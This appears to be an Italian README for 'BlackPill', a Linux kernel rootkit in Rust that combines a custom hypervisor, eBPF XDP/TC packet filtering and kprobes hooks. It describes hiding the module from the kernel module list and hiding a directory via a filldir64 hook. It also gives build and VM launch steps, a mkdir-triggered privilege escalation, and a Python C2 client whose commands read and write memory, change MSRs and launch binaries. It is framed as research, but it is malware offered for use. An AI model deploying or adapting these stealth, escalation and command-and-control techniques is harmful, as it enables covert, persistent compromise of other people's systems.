
Un rootkit per kernel Linux in Rust che utilizza un ipervisore di tipo 2 personalizzato, programmi eBPF XDP e TC
BlackPill è un rootkit Linux furtivo realizzato in Rust.
Il rootkit è composto da più moduli (parlando di moduli Rust, non moduli del kernel):
L'architettura appare come segue:

Ed ecco come il codice malevolo viene eseguito dal C2 all'ospite VM:

Il C2 invia mnemonici x86_64 assemblati al rootkit, che poi li invia all'ospite VM per eseguirli. L'ospite VM è isolato dall'host e può essere utilizzato per eseguire codice malevolo.
Il kernel non vede i pacchetti malevoli in arrivo poiché vengono filtrati dal programma eBPF XDP e inviati al modulo LKM, mentre i pacchetti in uscita vengono modificati dal programma eBPF TC.
[!IMPORTANTE]
Questo progetto è ancora in fase di sviluppo. Non tutte le funzionalità sono funzionanti!
Sentiti libero di segnalare problemi o inviare richieste pull.
L'hooking è una capacità fondamentale del rootkit, implementata utilizzando kprobes nel kernel Linux. Questa tecnica intercetta e reindirizza l'esecuzione delle funzioni di sistema per monitorare o modificare il loro comportamento. Nel contesto di questo rootkit, kprobes fornisce un potente meccanismo per interagire con le funzioni del kernel senza alterare direttamente il codice sorgente.
Per garantire la furtività, il rootkit impiega due meccanismi primari anti-rilevamento:
Rimozione del Modulo dalla Lista dei Moduli del Kernel
Quando un modulo del kernel viene caricato, viene aggiunto alla lista dei moduli del kernel, visibile tramite strumenti come lsmod o /proc/modules. Per prevenire il rilevamento:
Hooking della funzione filldir64 per Nascondere una Directory Specifica
Per nascondere i file utilizzati dal rootkit, viene implementato un hook sulla funzione filldir64. Questa funzione viene invocata quando un processo legge il contenuto di una directory (ad es. tramite le syscall getdents o readdir).
filldir64 utilizzando kprobes./BLACKPILL-BLACKPILL (utilizzata per memorizzare file critici del rootkit), viene filtrata e non restituita all'utente.Il nostro semplice hypervisor è stato implementato seguendo questi passaggi:
Configurazione iniziale del sistema
Entrata in modalità VMX o SVM
Gestione delle transizioni tra Host e Ospite
Creazione del Sistema Ospite
Comunicazione
La persistenza è una capacità critica di qualsiasi rootkit, che gli consente di mantenere il controllo sul sistema di destinazione anche dopo un riavvio.
Nella sua implementazione attuale, il meccanismo di persistenza dimostra la sua funzionalità creando un file di prova nel filesystem utilizzando il comando /bin/touch. Questa azione placeholder mostra la capacità del rootkit di eseguire operazioni privilegiate e può essere estesa per implementare strategie di persistenza più avanzate.
Ora è inutile poiché non è la nostra priorità creare un rootkit di livello APT, ma piuttosto fare più ricerca su concetti meno visti.
Prima di compilare il nostro rootkit sono necessari diversi passaggi. L'ambiente di sviluppo è composto da:
Inizia clonando il repository e i suoi sottomoduli shallow:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
Su una distribuzione basata su Arch:
sudo pacman -S qemu-base qemu-desktop docker grub
Su una distribuzione Linux basata su Arch, installa Rust e altre dipendenze:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
Poi avremo bisogno dei sorgenti Rust e di bindgen:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
Assicurati di poter iniziare a compilare il tuo kernel con Rust eseguendo nella cartella linux/:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
Avvia l'attività di configurazione iniziale che configura e compila il kernel:
make first-time-setup
[!IMPORTANTE]
Se ti vengono chieste opzioni personalizzate, premi Invio ogni volta.
Puoi compilare il modulo del kernel Rust (out-of-tree) con:
make
Avvia la VM con:
make vm
All'interno della VM, vieni autenticato automaticamente come root. Puoi abilitare il modulo:
$ modprobe blackpill
# puoi controllare i log del kernel con
$ dmesg
Una volta avviata la VM, puoi utilizzare il comando sopra per escalare i tuoi privilegi:
mkdir ImFeelingRootNow_<PID>
Sostituisci <PID> con l'ID del processo a cui vuoi escalare il privilegio.
Questo semplice C2 invia opcode x86-64 alla macchina infetta tramite UDP e riceve pacchetti TCP. Le sue funzioni sono ora limitate all'interazione di basso livello con la macchina, ma potrebbero consentire molti usi pratici con più wrapper.
Configura il client Python:
cd blackpill-c2
poetry install
poetry shell
python client.py
Dopo aver avviato il client con i tuoi argomenti ([ip] [porta]) dovresti ottenere:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
Quindi puoi utilizzare il comando help per visualizzare i comandi disponibili:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Legge 4 byte (32 bit) di memoria all'indirizzo 'address' │
│ write_virt_memory <address> <value> │ Scrive 4 byte (32 bit) di memoria all'indirizzo 'address'│
│ launch_userland_binary <path> │ Avvia un binario in spazio utente al 'path' │
│ change_msr <msr> <value> │ Cambia il valore di un registo MSR (Model Specific) │
│ read_phys_memory <address> <value> │ Legge 4 byte (32 bit) di memoria fisica all'indirizzo │
│ write_phys_memory <address> <value> │ Scrive 4 byte (32 bit) di memoria fisica all'indirizzo │
│ stop_execution │ Ferma l'esecuzione della VM ospite │
│ change_vmcs_field <field> <value> │ Cambia un campo VMCS a 'value' │
│ help │ Mostra questo messaggio di aiuto │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
Configurazione dell'ambiente:
Utilizzo di programmi eBPF XDP e TC per Modificare il Traffico di Rete In entrata e In uscita
Per normalizzare le nostre comunicazioni di rete malevole, utilizziamo programmi eBPF XDP (eXpress Data Path) e TC (Traffic Control). In questo modo, possiamo: